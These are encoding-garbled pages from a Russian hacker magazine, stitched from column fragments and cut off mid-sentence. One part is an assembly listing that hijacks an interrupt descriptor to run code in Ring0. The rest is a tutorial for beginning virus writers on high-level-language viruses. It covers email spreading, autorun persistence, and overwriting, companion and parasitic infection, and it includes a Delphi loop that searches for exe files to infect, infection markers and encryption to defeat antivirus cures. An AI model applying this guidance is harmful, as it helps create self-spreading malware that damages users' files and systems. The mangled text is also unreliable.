ñðàáàòûâà-
åò. Íî êòî
ñêàçàë, ÷òî
ìû çíàåì
òîëüêî îäèí
òðþê ? :)
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; Ring0.asm
; êîìïèëÿöèÿ:
; tasm32 /ml Ring0.asm
; tlink32 Ring0.obj,,,import32.lib

.386p ; íàì ïîíàäîáèòñÿ ïðèâèëåãèðîâàííàÿ êîìàíäà sidt

.model flat

extrn ExitProcess:proc
extrn MessageBoxA:proc

intnum equ 04h ; ëó÷øå ïåðåõâàòûâàòü ìàëîèñïîëüçóåìûå ïðåðûâàíèÿ

.data

idtr df 0 ; ñþäà ìû ñîõðàíèì IDTR
saved dd 0 ; ñþäà ìû ñîõðàíèì àäðåñ ñòàðîãî îáðàáîò÷èêà
capt db "Message!",0
text1 db "At Ring3 now. Boring.",0
text2 db "I've just returned from Ring0!",0

.code
start: 
push 00h
push offset capt
push offset text1
push 00h
call MessageBoxA

; íàéäåì àäðåñ IDT è íóæíîãî íàì äåñêðèïòîðà
sidt fword ptr [idtr] ; ñîõðàíÿåì IDTR â ïåðåìåííóþ idtr
mov ebx,dword ptr [idtr+2] ; íàì íóæåí àäðåñ íà÷àëà, à íå ïðåäåë
add ebx,intnum*8 ; ïåðåõîäèì íà íà÷àëî íóæíîãî äåñêðèïòîðà

; ñîõðàíèì àäðåñ îðèãèíàëüíîãî îáðàáîò÷èêà
mov ax,word ptr [ebx+6] ; êëàäåì â ax ñòàðøåå ñëîâî àäðåñà îáðàáîò÷èêà
shl eax, 16 ; ñäâèãàåì åãî â ñòàðøåå ñëîâî eax
mov ax,word ptr [ebx] ; êëàäåì â ax ìëàäøåå ñëîâî àäðåñà îáðàáîò÷èêà   
mov dword ptr [saved],eax  ; ñîõðàíÿåì

; ìåíÿåì àäðåñ îáðàáîò÷èêà íà àäðåñ íàøåé ïðîöåäóðû 
mov eax, offset ring0code ; êëàäåì â ax ñìåùåíèå ïðîöåäóðû
mov word ptr [ebx],ax ; çàìåíÿåì ìëàäøåå ñëîâî àäðåñà
shr eax,16 ; ñäâèãàåì ñòàðøåå ñëîâî eax â ìëàäøåå
mov word ptr [ebx+6],ax ;çàìåíÿåì ñòàðøåå ñëîâî àäðåñà

; óõîäèì â Ring0
int intnum 

; âîññòàíàâëèâàåì àäðåñ îðèãèíàëüíîãî îáðàáîò÷èêà
mov eax,dword ptr [saved]
mov word ptr [ebx],ax
shr eax,16
mov word ptr [ebx+6],ax

; ñîîáùèì ìèðó, ÷òî ìû ïåðåæèëè ýòî ïóòåøåñòâèå
push 00h
push offset capt
push offset text2
push 00h
call MessageBoxA

; âûõîäèì
push 00h 
call ExitProcess

; â ïðåäåëàõ ýòîé ïðîöåäóðû ìû èìååì íàèâûñøèé óðîâåíü ïðèâèëåãèé
ring0code:
; çäåñü ìû ìîæåì äåëàòü ÷òî óãîäíî,
; âåäü ìû óæå â íóëåâîì êîëüöå!
iret ; âîçâðàùàåìñÿ â îáûäåííîñòü

end start

ÏÎËÍÛÉ ÒÅÊÑÒ ÏÐÎÃÐÀÌÌÛ

www.wasm.ru - åñëè òû
èíòåðåñóåøüñÿ àññåìáëå-
ðîì, ýòî ëó÷øåå ìåñòî âî
âñåì ðóíåòå: îãðîìíîå êî-
ëè÷åñòâî ñòàòåé, èíñòðó-
ìåíòîâ è ïð.

www.rusfaq.ru - çäåñü òû
ìîæåøü çàäàòü ëþáîé âîï-
ðîñ ïî àññåìáëåðó. È,
ïðåäñòàâü, íà íåãî äàæå îò-
âåòÿò :).

www.programmersheav-
en.com/zone5 - ïîäðàçäåë
ïîðòàëà Programmer's
Heaven, ïîñâÿùåííûé àññå-
ìáëåðó (íà àíãëèéñêîì).

http://board.win32asm-
community.net/ - îäèí èç
êðóïíåéøèõ ôîðóìîâ ïî
àññåìáëåðó (íà
àíãëèéñêîì).

W W W



Ñ ðàñïðîñò-
ðàíåíèåì
âñå ÿñíî -
òóò àìáèöèè
âèðåé ïðîñ-
òèðàþòñÿ
îò òåêóùåãî
êàòàëîãà
(äà, áûëè è
òàêèå øå-
äåâðû) äî
ìàññîâîé
ðàññûëêè
ñåáå ïîäîá-
íûõ ïî ìû-
ëó èëè ñ ïî-
ìîùüþ áà-
ãîâ ÏÎ.

Dr.Klouniz

ß äóìàþ, òû çíàåøü, çà÷åì íóæíû ìèðó âèðóñû, íàïèñàííûå íà ÿçûêàõ âûñîêîãî óðîâíÿ. Êîíå÷íî æå - ÷òîáû çàíèìàòü
òâîé ìûëüíèê, ðàññûëàòü ïî÷òó îò òâîåãî èìåíè è ïîðòèòü õîðîøèå ôàéëû ñâîèì ïðèñóòñòâèåì. Ðàçóìååòñÿ, ïèøóò

èõ íå çíàþùèå àññåìáëåðà øêîëüíèêè è ñòóäåíòû, ïðîâîäÿùèå æèçíü â ëåíîñòè è ïðàçäíîñòè. Èçâåñòíî òàêæå, ÷òî ñ ìî-
ìåíòà ïîÿâëåíèÿ â Ðîññèè Turbo Pascal 5 êîëè÷åñòâî èõ ñòàëî óâåëè÷èâàòüñÿ áåøåíûìè òåìïàìè. Íî ýòî âñå ýìîöèè :).
Ñåãîäíÿ ÿ ïîñòàðàþñü áûòü îáúåêòèâíûì è íåìíîãî ðàññêàæó òåáå îá ýòèõ ìîíñòðàõ "èçíóòðè".

HIGH LEVEL CODE
ÂÈÐÓÑÛ ÍÀ ßÇÛÊÀÕ ÂÛÑÎÊÎÃÎ ÓÐÎÂÍß

Â ×ÅÌ ÑÌÛÑË
ÆÈÇÍÈ?

ß èìåþ â âèäó, êî-
íå÷íî, ñìûñë æèçíè
âèðóñà, à íå âèðìåéêå-

ðà, ïîñêîëüêó ñìûñë æèçíè ïîñëåäíå-
ãî èíòåðåñóåò òîëüêî òîâàðèùåé èç
ÍÈÈ Ñóäåáíîé Ïñèõèàòðèè èì.
Ñåðáñêîãî äëÿ ðàçðàáîòêè êóðñîâ ëå-
÷åíèÿ :). ß íå ìîãó ðàññêàçàòü îáî
âñåõ âèðóñàõ íà 4 ïîëîñàõ, ïîýòîìó
âîçüìó ïîíåìíîãó îò êàæäîãî è íàçî-
âó åãî "ñðåäíèì âèðóñîì". Èòàê, ñðåä-
íèé âèðóñ ïîñâÿùàåò ñâîþ æèçíü
ñëåäóþùåìó:

1. Ðàñïðîñòðàíåíèå.
2. Ïîèñê æåðòâû è çàðàæåíèå. 
3. Ïðîòèâîäåéñòâèå àíòèâèðóñàì.
4. Êàêèå-òî åùå çàëîæåííûå àâòî-

ðîì äåéñòâèÿ - çâóêîâûå ýôôåêòû,
ïîõàáíûå íàäïèñè, äåñòðóêöèÿ è ìíî-
ãîå äðóãîå.

Ñ ðàñïðîñòðàíåíèåì âñå ÿñíî - òóò àì-
áèöèè âèðåé ïðîñòèðàþòñÿ îò òåêóùå-
ãî êàòàëîãà (äà, áûëè è òàêèå øåäåâ-
ðû) äî ìàññîâîé ðàññûëêè ñåáå ïî-
äîáíûõ ïî ìûëó èëè ñ ïîìîùüþ áàãîâ
ÏÎ. Áîëüøèíñòâî ñîâðåìåííûõ ßÂÓ
âèðóñîâ èñïîëüçóþò êîìáèíàöèþ
âñåõ ýòèõ ñïîñîáîâ, óäåëÿÿ îñîáîå
âíèìàíèå email-ðàññûëêå. Òåìû âè-
ðóñíûõ ïèñåì (êîòîðûå ÿ ðåãóëÿðíî
òîííàìè âûíîøó èç ñâîåãî ìûëüíèêà)
ïðîñòî ïîòðÿñàþò âîîáðàæåíèå - îò
"Re: BIG MONEY TODAY" äî "4 Gb Big
tits for free now in this message!!!" :).
×òî ïîäåëàåøü, âåäü çàäà÷à åãî - ÷òî-
áû òû òîëüêî ÏÎÑÌÎÒÐÅË ýòî ïèñü-
ìî, ïîñêîëüêó, áëàãîäàðÿ èñïîëüçîâà-
íèþ, íàïðèìåð, áàãà IFrame, ïðèàòòà-
÷åííîå òåëî âèðóñà çàïóñòèòñÿ ñàìî.

Òåêñò æå ïèñüìà îáû÷íî ïîëóáðåäî-
âûé (êîìáèíàöèÿ èç íåñêîëüêèõ
ôðàç) è íèêàêîãî èíòåðåñà íå âûçû-
âàåò. Çàòî äàëüíåéøèå äåéñòâèÿ âèðÿ
èíòåðåñíû, íî î íèõ ÿ ðàññêàæó ÷óòü
ïîçæå. Åñòü, ïðàâäà, è òàêèå ýêçåìï-
ëÿðû, êîòîðûå íå èñïîëüçóþò áàãîâ
ÏÎ, çàòî ïðèñûëàþò ïèñüìî ñ çàíÿò-
íûì çàãîëîâêîì è îñìûñëåííûì êîí-
òåíòîì, àðãóìåíòèðîâàíî îáúÿñíÿþ-
ùèì òåáå, ïî÷åìó íàäî çàïóñòèòü àò-
òà÷. Òóò òîæå ôàíòàçèÿ ðàñïðîñòðàíÿ-
åòñÿ îò "for details see attach" äî
ïðîñòðàííûõ îáúÿñíåíèé. È âåäü çà-

ïóñêàþò - ñîöèàëüíóþ èíæåíåðèþ
íèêòî íå îòìåíÿë. Ïîïàâøèé æå íà
êîìï âèðóñ îáû÷íî ïåðåíîñèò ñâîå
òåëî â óêðîìíîå ìåñòî (c:\win, íàïðè-
ìåð) ñî ñëó÷àéíûì èìåíåì è çàïèñû-
âàåò ýòîò ôàéë â àâòîçàãðóçêó (îáû÷-
íî ÷åðåç RUN ðååñòðà, õîòÿ ñïîñîáîâ
òàêèõ - êó÷à). Áîëåå ïðîäâèíóòûå òî-
âàðèùè òàê íå äåëàþò, à çàðàæàþò
óæå èìåþùèåñÿ â àâòîçàãðóçêå ïðîãè.
Ýôôåêò, êàê òû ïîíèìàåøü, òàêîé æå.
Çàïóñêàÿñü ïðè êàæäîé çàãðóçêå, âè-
ðóñ èíñòàëëèðóåòñÿ â îïåðàòèâêó è
çàíèìàåòñÿ, îáû÷íî, òðåìÿ âåùàìè -

»
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Ýòîò ÷åëîâåê íå ïðîñòî íàïèñàë âèðóñ.

Îí âûðàçèë ñâîå ìíåíèå. Ëåãàëèçóéòå

àíàøó, ãîñïîäà!

Ïðîöåäóðû
"îò DDELPHI".
Îáúÿâëåíû
â uuses ssysu-

tils.

Ôóíêöèè WWindows AAPI
(îáúÿâëåíû ââ uuses wwindows)

Îïèñàíèå

Óñòàðåâøàÿ Íîâàÿ

AssignFile íåò ààíàëîãà
Ñîïîñòàâëÿåò ôôàéë ññ ïïåðåìåííîé

òèïà FFile èèëè TTextFile

Reset _lopen CreateFile
Îòêðûâàåò ññóùåñòâóþùèé ôôàéë èè

óñò. ïïîçèöèþ ÷÷òåíèÿ ââ ííà÷àëî

ReWrite _lcreate CreateFile

Ñîçäàåò ííîâûé ôôàéë èè óóñò. ïïîçè-
öèþ ÷÷òåíèÿ ââ ííà÷àëî. ÅÅñëè ññêîð-

ìèòü RReWrite ññóùåñòâóþùèé ôôàéë,
åãî ññîäåðæèìîå ááóäåò îîáíóëåíî

BlockRead _lread ReadFile
×èòàåò ââ ááóôåð îîïðåäåëåííîå êêî-

ëè÷åñòâî ääàííûõ èèç ôôàéëà

BlockWrite _lwrite WriteFile
Ñîîòâåòñòâåííî, ïïèøåò ääàííûå ââ

ôàéë

SeekFile _llseek SetFilePointer
ïåðåìåùàåò ïïîçèöèþ ÷÷òåíèÿ/çà-

ïèñè ââ îîòêðûòîì ôôàéëå

CloseFile _lclose CloseHandle Çàêðûâàåò îîòêðûòûé ôôàéë

Erase DeleteFile
Îíà ííå

óñòàðåëà 
Óäàëåíèå ôôàéëà

FindFirst FindFirstFile "" Ïîèñê ôôàéëà ïïî êêðèòåðèÿì. 

FindNext FindNextFile "" Ïîèñê ññëåäóþùåãî ôôàéëà

Ïàìÿòêà íà÷èíàþùåãî âèðìåéêåðà - ñàìûå èíòåðåñíûå ôóíêöèè



çàðàæåíèåì ôàéëîâ, îñâîåíèåì òðà-
ôèêà ïîëüçîâàòåëÿ è åãî àäðåñáóêà.
Çàðàæåíèå ôàéëîâ ïðîèñõîäèò äâóìÿ
ïóòÿìè - ëèáî áàíàëüíûì ïîèñêîì
âñåõ èñïîëíèìûõ ôàéëîâ íà âñåõ âîç-
ìîæíûõ äèñêàõ, ëèáî ñ ïîìîùüþ ïå-
ðåõâàòà îáðàùåíèé ê ôàéëàì ïðè îòê-
ðûòèè. Êîíå÷íî, ñóùåñòâóåò åùå íåñ-
êîëüêî ñïîñîáîâ ïîèñêà æåðòâû, íî
ýòè äâà - ñàìûå îñíîâíûå.
Íàïðèìåð, èíòåðåñåí ñïîñîá ïîèñêà
äîñòóïíûõ ôàéëîâ ñ ïîìîùüþ� FAR
the File Manager. Òàê âîò, òû íèêîãäà
íå çàäóìûâàëñÿ, çà÷åì â êîðíå äèñêà
íàõîäèòñÿ ôàéë "Tree.far"? À âåäü
ýòî - îáû÷íûé òåêñòîâûé ôàéë ñ ïîë-
íûì ñïèñêîì âñåõ äèðåêòîðèé è ïîä-
äèðåêòîðèé òåêóùåãî äèñêà. Îñòàåòñÿ
îäíî - îòêðûòü ýòîò ôàéë è ïîñòðî÷íî
(ïðîöåäóðó ReadLn ïîìíèøü? :)) èñ-
êàòü â êàæäîé äèðåêòîðèè exe-ôàéëû.

Ñëàâà áîãó, äëÿ ýòîé öåëè â WinApi
åñòü ôóíêöèè
FindFirstFile/FindNextFile, âîçâðàùàþ-
ùèå òåáå óêàçàòåëü íà ôàéë, ñîîòâåò-
ñòâóþùèé êðèòåðèÿì (c:\*.exe - ÷åì íå
êðèòåðèé?). Ñîçäàòåëè ÿçûêîâ ïðîã-
ðàììèðîâàíèÿ íàïèñàëè ñâîè âàðèàí-
òû ýòîé ôóíêöèè, íàïðèìåð, äëÿ
Delphi ýòî - FindFirst. Òàê, íàïðèìåð,
ìîæåò âûãëÿäåòü öèêëè÷åñêèé ïîèñê
âñåõ exe-ôàéëîâ â çàäàííîé ïàïêå:

result:= FindFirst 
('*.exe',faAnyFile,sr);
WHILE Result= 0 DO

begin
//Ïðîöåäóðà çàðàæåíèÿ äîëæíà

áûòü çäåñü ;) 
FindNext (Sr);

end;

Íó, äîïóñòèì, ôàéë ìû íàøëè ×òî
äàëüøå? À äàëüøå - âñå çàâèñèò îò
àëãîðèòìà çàðàæåíèÿ, âûáðàííîãî àâ-

òîðîì. Äàâàé ïîñìîòðèì íà ñàìûå ïî-
ïóëÿðíûå èç íèõ.

ÂÈÐÓÑÛ - ÎÂÅÐÐÀÉÒÅÐÛ (HIGH
LEVEL LANGUAGE OVERWRITE)

Ìîæíî ëè íàçâàòü ýòî çàðàæåíè-
åì, ÿ íå çíàþ, ïîòîìó ÷òî ýòè çëîäåè
ïðîñòî ïåðåçàïèñûâàþò ïðîãó-æåðòâó
ñâîèì òåëîì. Êàê ýòî äåëàåòñÿ? API-
ôóíêöèÿ CreateFile èëè äåëüôèéñêàÿ
ReWrite (var F: File, îáíóëÿþùàÿ ñóùå-
ñòâóþùèé ôàéë) ïîìîãóò òåáå â ýòîì.
Ðàçìíîæåíèå âèðÿ ïðîèñõîäèò îáû÷-
íî ñ ïîìîùüþ ôóíêöèè CopyFile, ïîñ-
êîëüêó íè÷åãî áîëüøåãî òàì è íå òðå-
áóåòñÿ.
Â èòîãå - ïðè ïîïûòêå çàïóñêà "ïðîãè"
þçåð ëîâèò ñîîáùåíèå â äóõå "stack
overflow" èëè "seek error in drive C".
Òî åñòü - ïðàâäîïîäîáíîå îáúÿñíå-
íèå, ïî÷åìó ïðîãà ðàáîòàòü íå áóäåò.
À âîò âèðóñ - ðàáîòàåò è ñ áîëüøèì
óäîâîëüñòâèåì ïîðòèò äðóãèå ôàéëû
ñâîèì ïðèñóòñòâèåì. Ïèñàëè ýòè âèðè
â îñíîâíîì çëîáíûå øêîëüíèêè, ïîý-
òîìó, ïîìèìî ñâîåé äåñòðóêòèâíîé äå-
ÿòåëüíîñòè, îíè âûâîäèëè äëèííûå è
çà÷àñòóþ îñêîðáèòåëüíûå òåêñòû.
Áîëüøå íè÷åãî ïðèìå÷àòåëüíîãî â
íèõ íåò, ñåé÷àñ îíè ïî÷òè íå âñòðå÷à-
þòñÿ, ïîýòîìó ÿ ñîâåòóþ òåáå î íèõ
çàáûòü :).

ÂÈÐÓÑÛ - ÊÎÌÏÀÍÜÎÍÛ (HIGH
LEVEL LANGUAGE COMPANION)

Ýòî áîëåå ñîâðåìåííûé ñïîñîá,
ñóùåñòâóþùèé, îäíàêî, óæå ëåò 15. Â
ýòîì ñëó÷àå âèðóñ ïåðåèìåíîâûâàåò
íàéäåííûé ôàéë, ñíàáæàåò åãî àòðè-
áóòàìè òîëüêî ÷òåíèå+ñêðûòûé+ñèñ-
òåìíûé, à îðèãèíàëüíîå èìÿ ïðèñâàè-
âàåò ñåáå. Â èòîãå þçåð, çàïóñêàÿ, ñêà-
æåì, iexplore.exe, çàïóñêàåò âèðóñ, êî-
òîðûé, ñäåëàâ ñâîå äåëî, çàïóñêàåò
îðèãèíàëüíûé ôàéë, è þçåð äàæå íå
çàìå÷àåò, ÷òî ôàéë çàðàæåí. Â ñòà-

ðûå âðåìåíà ýòè âèðóñû ïîñòóïàëè
÷óòü ïî-äðóãîìó - áðàëè èìÿ ôàéëà-
æåðòâû è ñîçäàâàëè ñâîþ êîïèþ, íî ñ
ðàñøèðåíèåì .COM. Åñëè þçåð íàáè-
ðàë â êîìàíäíîé ñòðîêå òîëüêî èìÿ
ôàéëà (áåç ðàñøèðåíèÿ), òî äîñ, êîòî-
ðûé ïåðâûì èùåò com-ôàé, çàïóñêàë
ñíà÷àëà âèðóñ.
"Ïî÷åìó æå ýòîò àëãîðèòì æèâ äî
ñèõ ïîð, ðàç âñå ëå÷åíèå çàêëþ÷àåò-
ñÿ â îáðàòíîì ïåðåèìåíîâàíèè ôàé-
ëà-æåðòâû?" - ñïðîñèøü òû è áóäåøü
àáñîëþòíî ïðàâ.
Äåéñòâèòåëüíî, îïèñàííûé ìíîé
ñïîñîá ëåãêî îáðàòèì, íî òàê íèêòî è
íå äåëàåò :). Îáû÷íî âèðóñ øèôðóåò
ïåðâûå 512 áàéò èëè âåñü èñõîäíûé
ôàéë - äîïóñòèì, âçàèìîîáðàòèìûìè
êîìàíäàìè, âðîäå XOR/XOR,
ADD/SUB, INC/DEC è ò.ï., íî èíîãäà
âñòðå÷àþòñÿ è àëãîðèòìû, ñïîñîáíûå
âîãíàòü â òîñêó ñàìîãî È.Äàíèëîâà
:). Òàêèì îáðàçîì, ýòîò ñïîñîá ÿâëÿ-
åòñÿ âåñüìà ýôôåêòèâíûì è â ïëàíå
íàäåæíîñòè - íåò íåîáõîäèìîñòè ÷è-
òàòü è ïèñàòü èç ðàáîòàþùåãî ôàé-
ëà, ÷òî ÷ðåâàòî î÷åíü ïîäîçðèòåëü-
íûìè îøèáêàìè. À êîãäà òåêñòîâûé
ðåäàêòîð íà ôîíå ïîëíîãî çäîðîâüÿ
âäðóã æàëóåòñÿ íà íåâîçìîæíîñòü
÷òî-òî êóäà-òî çàïèñàòü, ýòî íàâîäèò
íà ñîîòâåòñòâóþùèå ìûñëè.

ÂÈÐÓÑÛ - ÏÀÐÀÇÈÒÛ (HIGH
LEVEL LANGUAG PARASITIC)

Åùå îäíèì ïðîäâèíóòûì àëãîðèò-
ìîì çàðàæåíèÿ ÿâëÿåòñÿ ïàðàçèòíûé
ñïîñîá, ñóòü êîòîðîãî â òîì, ÷òî âèðóñ
ïðèïèñûâàåò ñåáÿ ê çàðàæåííîé ïðîã-
ðàììå. Ñïîñîáîâ ýòèõ òóåâà õó÷à, íî
íàèáîëåå ïîïóëÿðíûìè ÿâëÿþòñÿ äâà
- ïðèïèñûâàíèå âèðóñà ñïåðåäè èëè
ñçàäè ê ïðîãðàììå. Â ïåðâîì ñëó÷àå
âñå ÿñíî - çàðàæåíèå ïðîèñõîäèò êàê
copy /b virus.exe program.exe, â èòîãå
ñõåìà çàðàæåííîé ïðîãè áóäåò òàêàÿ:

Ðàáîòàåò âñå ýòî òîæå î÷åíü ïðîñòî -
âìåñòî ïðîãðàììû çàïóñêàåòñÿ âèðóñ,
êîòîðûé çàòåì âîññòàíàâëèâàåò çàðà-
æåííóþ ïðîãó (ëèáî âûëå÷èâàÿ åå,
çàòåì çàðàæàÿ ñíîâà, ëèáî - ñîõðàíÿÿ
îðèãèíàëüíóþ âåðñèþ â ëåâûé ôàéë)
è çàïóñêàåò åå. Îïÿòü æå - þçåð íè÷å-
ãî íå ïîäîçðåâàåò, ïîòîìó ÷òî âñå ðà-
áîòàåò. Äëÿ çàðàæåíèÿ òàêèì ñïîñî-
áîì èñïîëüçóþòñÿ ôóíêöèè WinAPI:
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Ïîïàâøèé
æå íà êîìï
âèðóñ îáû÷-
íî ïåðåíî-
ñèò ñâîå òå-
ëî â óêðîì-
íîå ìåñòî
(c:\win,
íàïðèìåð)
ñî ñëó÷àé-
íûì èìåíåì
è çàïèñûâà-
åò ýòîò
ôàéë â àâ-
òîçàãðóçêó.

Â
È

Ð
Ó

Ñ
Û

À ýòîò òîâàðèù ñäåëàë âèðóñ ñ èãðóøêîé. Îíà äîâîëüíî

ñëîæíàÿ, ÿ íå ñìîã ïðîéòè äàëüøå 3 óðîâíÿ

Ñàì ñåáÿ íå ïîçäðàâèøü ñ äíåì ðîæäåíèÿ - íèêòî íå ïîçäðàâèò,

ðåøèë ýòîò âèðìåéêåð ì íàïèñàë âèðóñ, ïîñâÿùåííûé ýòîìó

ñîáûòèþ

Êîãäà òåêñòîâûé ðåäàêòîð íà ôîíå ïîëíî-
ãî çäîðîâüÿ âäðóã æàëóåòñÿ íà íåâîç-

ìîæíîñòü ÷òî-òî êóäà-òî çàïèñàòü, ýòî íà-
âîäèò íà ñîîòâåòñòâóþùèå ìûñëè.

»



Ìîæíî ëè
íàçâàòü ýòî
çàðàæåíèåì,
ÿ íå çíàþ,
ïîòîìó ÷òî
ýòè çëîäåè
ïðîñòî ïå-
ðåçàïèñû-
âàþò ïðîãó-
æåðòâó ñâî-
èì òåëîì.

CreateFile, ñîçäàþùàÿ óêàçàòåëü íà
íîâûé ôàéë, ñ äîñòóïîì
GENERIC_READ (äëÿ ÷òåíèÿ èç çàðà-
æåííîãî ôàéëà) èëè GENERIC_WRITE
äëÿ çàïèñè òåëà âèðóñà â ôàéë. Ìåæ-
äó ïðî÷èì, äëÿ ýòîé ôóíêöèè åñòü
ôëàãè (dwShareMode), óêàçûâàþùèå
íà òî, êàê îòêðûâàåìûé îáúåêò äîë-
æåí ðàñïðåäåëÿòü äîñòóï ìåæäó ïðî-
öåññàìè, íàïðèìåð:
FILE_SHARE_READ - äðóãèì ïðîöåññàì
ìîæíî ÷èòàòü èç ôàéëà,
FILE_SHARE_WRITE - òî æå ñàìîå, äëÿ
÷òåíèÿ. Ýòè âåùè ìîãóò î÷åíü ïðèãî-
äèòüñÿ íà÷èíàþùåìó âèðìåéêåðó,
îñîáåííî - íå ÷èòàþùåìó Win32.hlp :).
Åñòü åùå óñòàðåâøàÿ _lopen, íî åå èñ-
ïîëüçóþò òîëüêî â ñàìûõ ïðîñòûõ
ñëó÷àÿõ.

_Lread èëè ReadFile - ïîçâîëÿþò ÷è-
òàòü äàííûå èç ôàéëà. Äîïóñòèì, òå-
áå íàäî âîññòàíîâèòü èñõîäíûé ôàéë
èç çàðàæåííîãî. Äëÿ ýòîãî íåîáõîäè-
ìî ñìåñòèòüñÿ íà äëèíó âèðóñà (îí æå
ó íàñ ïåðâûé) è ïðî÷åñòü âñå îñòàëü-
íûå äàííûå â áóôåð. Ñìåñòèòüñÿ
ìîæíî ñ ïîìîùüþ ôóíêöèè _LSeek
(åé ïåðåäàåòñÿ óêàçàòåëü è ÷èñëî, íà
ñêîëüêî ñìåùàòü), à áóôåð - ýòî, ðàçó-
ìååòñÿ, ìàññèâ/äèíàìè÷åñêèé ìàññèâ.
Íåñëîæíî äîãàäàòüñÿ, ÷òî äëÿ òàêèõ
ìàíèïóëÿöèé òåáå íàäî çíàòü ÄËÈÍÓ
âèðóñà. Òî åñòü - îáúÿâëÿòü ñïåöèàëü-
íóþ êîíñòàíòó VirSize, çíà÷åíèå êîòî-
ðîé òû óòî÷íèøü ïîñëå êîìïèëÿöèè.
À çàòåì - ñíîâà êîìïèëèðóåøü ñ íî-
âûìè çíà÷åíèÿìè.

Èòàê, òåëî âèðóñà ó íàñ â îäíîì áóôå-
ðå, ïðîãðàììà - â äðóãîì, ÷òî äåëàòü?
Ñìîòðÿ ÷òî íàäî ñäåëàòü :). Åñëè çàïó-
ùåí çàðàæåííûé ôàéë, òî ïîñëå îò-
ðàáîòêè îñíîâíîãî âèðóñíîãî êîäà
ïðîãó ïðèäåòñÿ ñëèòü â ëåâûé ôàéë
íà äèñê (÷òîáû çàïóñòèòü åå îòòóäà,
ðàçóìååòñÿ), êîòîðûé, êàê òû çíàåøü,
ñîçäàåòñÿ ïðîöåäóðîé _LCreate (åé
ïåðåäàåòñÿ óêàçàòåëü è àòðèáóòû íî-
âîðîæäåííîãî, íàïðèìåð - 0 - àðõèâ-

íûé), à çàïèñü îñóùåñòâëÿåòñÿ ñ ïî-
ìîùüþ WriteFile èëè _LWrite. Ïðîãó
ìîæíî çàïóñòèòü ñ ïîìîùüþ ôóíêöèé
CreateProcess èëè WinExec (ëó÷øå,
âñå-òàêè, CreateProcess, íå çàáóäü,
÷òî âèðóñó íóæíî áóäåò æäàòü çàâåð-
øåíèÿ åå ðàáîòû), ïîñëå ÷åãî íàì îñ-
òàíåòñÿ òîëüêî óäàëèòü ëåâûé ôàéë
ïðîöåäóðîé DeleteFile. È ýòî âñå. Î,
÷óòü íå çàáûë - ëþáûå èçìåíåíèÿ â
ôàéëå äîëæíû çàâåðøàòüñÿ
CloseHandle, çàêðûâàþùåé ôàéë, èíà-
÷å íèêàêèõ èçìåíåíèé òàì íå áóäåò, à
òû áóäåøü óäèâëåí, ïî÷åìó æå íè÷å-
ãî íå ðàáîòàåò ;). Ïðîöåññ çàðàæåíèÿ
ñóùåñòâóþùåé ïðîãðàììû â îáùåì
âûãëÿäèò òàê:
×òåíèå ñîäåðæèìîãî ïðîãðàììû -->
óäàëåíèå åå/ñîçäàíèå íîâîãî ôàéëà

ñ ýòèì æå èìåíåì --> Çàïèñü òåëà âè-
ðóñà --> Çàïèñü ïðîãè --> Çàïèñü ìåòêè
çàðàæåííîñòè --> CloseHandle.
Âñå ïðîöåäóðû äëÿ ýòîãî òû óæå çíà-
åøü, îñòàåòñÿ òîëüêî îäèí âîïðîñ -
÷òî òàêîå ìåòêà çàðàæåííîñòè? Êàê
ñëåäóåò èç íàçâàíèÿ, ýòî òî, ÷òî ïîç-
âîëÿåò òåáå íå çàðàçèòü îäèí ôàéë
äâà ðàçà (ïîñëå ÷åãî îí îòêèíåòñÿ :)).
Ýòî ìîæåò áûòü ïàðà áàéò òâîèõ èíè-
öèàëîâ, çàïèñàííûå ïîñëå ïðîãè, ìî-
æåò - íåêîå óñëîâíîå âðåìÿ ñîçäàíèÿ
ôàéëà. Ïðîöåäóðà FileSetDate ñóùåñò-
âóåò èìåííî äëÿ ýòîãî, ïîýòîìó íå
ñòåñíÿéñÿ. Ðàíüøå ìíîãèå âèðìåéêå-
ðû ëþáèëè âûñòàâëÿòü ôàéëó 62 ñå-
êóíäó âî âðåìåíè ñîçäàíèÿ è òîìó ïî-
äîáíóþ áðåäÿòèíó, íî òû íèêîãäà òàê
íå äåëàé :). Äåéñòâèòåëüíî, ëó÷øå ðà-
áîòàþò íåñêîëüêî áàéò, çàïèñàííûõ

ïîñëå ïðîãè. Íà-
äåæíî, êàê ôîðò-
íîêñ.
ß ðàññìîòðåë ñà-
ìûé ïðîñòåéøèé
àëãîðèòì çàðàæå-
íèÿ, è, êîíå÷íî æå,
â íåì åñòü ñâîé îá-
ëîì. Âî-ïåðâûõ -
ëå÷èòñÿ òàêîé
ôàéë ýëåìåíòàðíî,
äîñòàòî÷íî çíàòü
ðàçìåð ïðîãðàì-
ìû-æåðòâû, è òà-
êîå ïîä ñèëó äàæå

ADinf+CureModule. ×òî æå äåëàòü? Òóò
íàì ïîìîãàåò âñå òî æå øèôðîâàíèå,
ïðè÷åì, ÷åì áîëåå èçâðàùåííûé êëþ÷
è àëãîðèòì òû ïîäáåðåøü, òåì ëó÷øå.
Êëþ÷ âîîáùå ëó÷øå ãåíåðèðîâàòü äè-
íàìè÷åñêè èç êàêèõ-ëèáî õàðàêòåðèñ-
òèê çàðàæåííîé òà÷êè, íî� âñå ðàâíî
ôàéë áóäåò ðàñøèôðîâàí. Êàê? Äà
ýëåìåíòàðíî. Åñëè òû òóïî çàøèôðó-
åøü ïðîãðàììó, íå ïîäóìàâ, ÷òî ïåð-
âûå 2 áàéòà - MZ (ñèãíàòóðà) õîðîøî
èçâåñòíû íå òîëüêî òåáå, íî è Ëàáîðà-
òîðèè Äàíèëîâà (è âñåì îñòàëüíûì),
ïðîöåññ ðàñøèôðîâêè ïîéäåò êàê ïî
ìàñëó. Êîíå÷íî, ýòî íå åäèíñòâåííûé
êîñÿê â äàííîì ñëó÷àå, íî òåáå äîëæ-
íî áûòü ÿñíî - óäàëÿé èëè ïåðåíîñè
õîòÿ áû ñèãíàòóðó, òàê àíòèâèðóñàì áó-
äåò íàìíîãî ñëîæíåå ëå÷èòü ïðîãó.
Âî-âòîðûõ - ýòî ïðîáëåìà ÷òåíèÿ âñåé
ïðîãðàììóëèíû â áóôåðå. À åñëè îíà
16 Ìá? Êàêèå ýòî áóäóò òîðìîçà, åñëè
âîîáùå íå îáëîì? Âûõîä îäèí - ÷è-
òàòü â áóôåð ïåðâóþ ÷àñòü ïðîãðàì-
ìû, ðàâíóþ äëèíå òåëà âèðóñà, ïåðå-
íîñèòü åå â êîíåö çàðàæåííîé ïðîãè, à
â íà÷àëî ïèñàòü, êàê îáû÷íî, âèðóñ.
Ïðè çàïóñêå èíôèöèðîâàííîé ïðîãè

